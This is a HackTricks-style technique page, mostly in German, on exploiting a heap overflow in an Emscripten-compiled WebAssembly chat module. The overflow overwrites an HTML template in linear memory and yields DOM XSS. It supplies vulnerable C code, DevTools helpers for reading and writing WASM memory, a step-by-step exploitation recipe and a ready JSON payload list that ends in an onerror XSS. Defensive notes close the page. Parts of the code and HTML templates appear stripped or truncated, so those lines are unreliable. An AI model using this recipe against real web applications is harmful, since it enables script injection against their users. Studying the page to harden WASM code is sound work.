# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Diese Technik zeigt, wie ein Speicherkorruptionsfehler in einem mit Emscripten kompilierten WebAssembly (WASM)-Modul selbst dann in einen zuverlässigen DOM XSS verwandelt werden kann, wenn Eingaben bereinigt sind. Der Dreh- und Angelpunkt ist, beschreibbare Konstanten in der WASM linear memory (z. B. HTML-Formatvorlagen) zu korruptieren, anstatt den bereinigten Quellstring anzugreifen.
Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
Bedrohungsmodell und Voraussetzungen
- Die Web-App verwendet Emscripten glue (Module.cwrap), um ein WASM-Modul aufzurufen.
- Der Anwendungszustand liegt in der WASM linear memory (z. B. C structs mit pointers/lengths zu user buffers).
- Ein Input-Sanitizer kodiert Metazeichen vor der Speicherung, aber die spätere Darstellung erzeugt HTML mithilfe eines format string, der in der WASM linear memory gespeichert ist.
- Es existiert eine Primitive zur Korruption der WASM linear memory (z. B. heap overflow, UAF oder unchecked memcpy).
Minimal anfälliges Datenmodell (Beispiel)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Verwundbares Logikmuster
- addMsg(): weist einen neuen Buffer zu, der an die sanitisierten Eingabedaten angepasst ist, und hängt ein msg an s.mess an, wobei bei Bedarf die Kapazität mit realloc verdoppelt wird.
- editMsg(): re-sanitisiert und kopiert mit memcpy die neuen Bytes in den bestehenden Buffer, ohne sicherzustellen, dass die neue Länge ≤ alte Allokation → intra-linear-memory heap overflow.
- populateMsgHTML(): formatiert den sanitisierten Text mit einem eingebetteten Stub wie "%.*s
" der im linear memory liegt. Das zurückgegebene HTML landet in einer DOM sink (z. B. innerHTML).
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Nach Wachstum platziert realloc() häufig s->mess unmittelbar nach dem letzten Benutzerpuffer im linearen Speicher.
- Überlaufe die letzte Nachricht via editMsg(), um Felder innerhalb von s->mess zu clobbern (z. B. msg_data-Pointer zu überschreiben) → beliebige Pointer-Überschreibung innerhalb des linearen Speichers für später gerenderte Daten.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization schützt die Eingabe, nicht die Sinks. Finde das Format-Stub, das von populateMsgHTML() verwendet wird, z. B.:
- "%.*s
" → ändere zu "
"
- Lokalisieren das Stub deterministisch durch Scannen des linearen Speichers; es ist ein einfacher Byte-String innerhalb von Module.HEAPU8.
- Nachdem du das Stub überschrieben hast, wird der bereinigte Nachrichteninhalt zum JavaScript-Handler für onerror, sodass das Hinzufügen einer neuen Nachricht mit Text wie alert(1337) zu
führt und sofort im DOM ausgeführt wird.
Chrome DevTools workflow (Emscripten glue)
- Setze einen Breakpoint auf den ersten Module.cwrap call im JS glue und steige in die wasm call site ein, um Pointer-Argumente abzufangen (numerische Offsets im linearen Speicher).
- Verwende typed views wie Module.HEAPU8, um WASM-Speicher aus der Konsole zu lesen/schreiben.
- Hilfreiche Snippets:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
End-to-end exploitation recipe
1) Groom: Füge N kleine Nachrichten hinzu, um realloc() auszulösen. Stelle sicher, dass s->mess an einen user buffer angrenzt.
2) Overflow: Rufe editMsg() für die letzte Nachricht mit einer längeren Nutzlast auf, um einen Eintrag in s->mess zu überschreiben und msg_data von Nachricht 0 so zu setzen, dass es auf (stub_addr + 1) zeigt. Das +1 überspringt das führende '<', um die Tag-Ausrichtung bei der nächsten Änderung intakt zu halten.
3) Template rewrite: Editiere Nachricht 0 so, dass ihre Bytes die template mit: "img src=1 onerror=%.*s " überschreiben.
4) Trigger XSS: Füge eine neue Nachricht hinzu, deren bereinigter Inhalt JavaScript ist, z. B. alert(1337). Das Rendering gibt
aus und führt es aus.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Warum dieser Bypass funktioniert
- WASM verhindert Codeausführung aus linear memory, aber konstante Daten innerhalb der linear memory sind beschreibbar, wenn die Programmlogik fehlerhaft ist.
- Der Sanitizer schützt nur den Quellstring; indem man den sink (die HTML template) korrumpiert, wird die gesäuberte Eingabe zum JS-Handler-Wert und ausgeführt, wenn sie in das DOM eingefügt wird.
- Durch realloc()-getriebene Adjazenz plus unkontrolliertes memcpy in Edit-Flows kann Pointer-Korruption Schreibvorgänge auf angreifergewählte Adressen innerhalb der linear memory umleiten.
Generalisierung und weitere Angriffsflächen
- Jede in-memory gespeicherte HTML template, JSON skeleton oder URL pattern, die in die linear memory eingebettet ist, kann zum Ziel werden, um zu verändern, wie gesäuberte Daten nachgelagert interpretiert werden.
- Weitere gängige WASM-Fallen: out-of-bounds writes/reads in linear memory, UAF bei Heap-Objekten, function-table misuse mit ungeprüften indirekten Call-Indizes und JS↔WASM glue mismatches.
Defensive Hinweise
- In Edit-Pfaden die neue Länge ≤ Kapazität überprüfen; Puffer vor dem Kopieren neu dimensionieren (realloc auf new_len) oder größenbegrenzte APIs verwenden (snprintf/strlcpy) und die Kapazität nachverfolgen.
- Unveränderliche Templates außerhalb beschreibbarer linear memory halten oder ihre Integrität vor der Nutzung prüfen.
- Behandle JS↔WASM-Grenzen als untrusted: Pointer-Bereiche/Längen validieren, exportierte Schnittstellen fuzzen und Memory-Wachstum begrenzen.
- Sanitize am sink: vermeide das Erzeugen von HTML in WASM; bevorzuge sichere DOM-APIs gegenüber innerHTML-style templating.
- Vertraue nicht auf URL-embedded state für privilegierte Flows.
## Referenzen
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}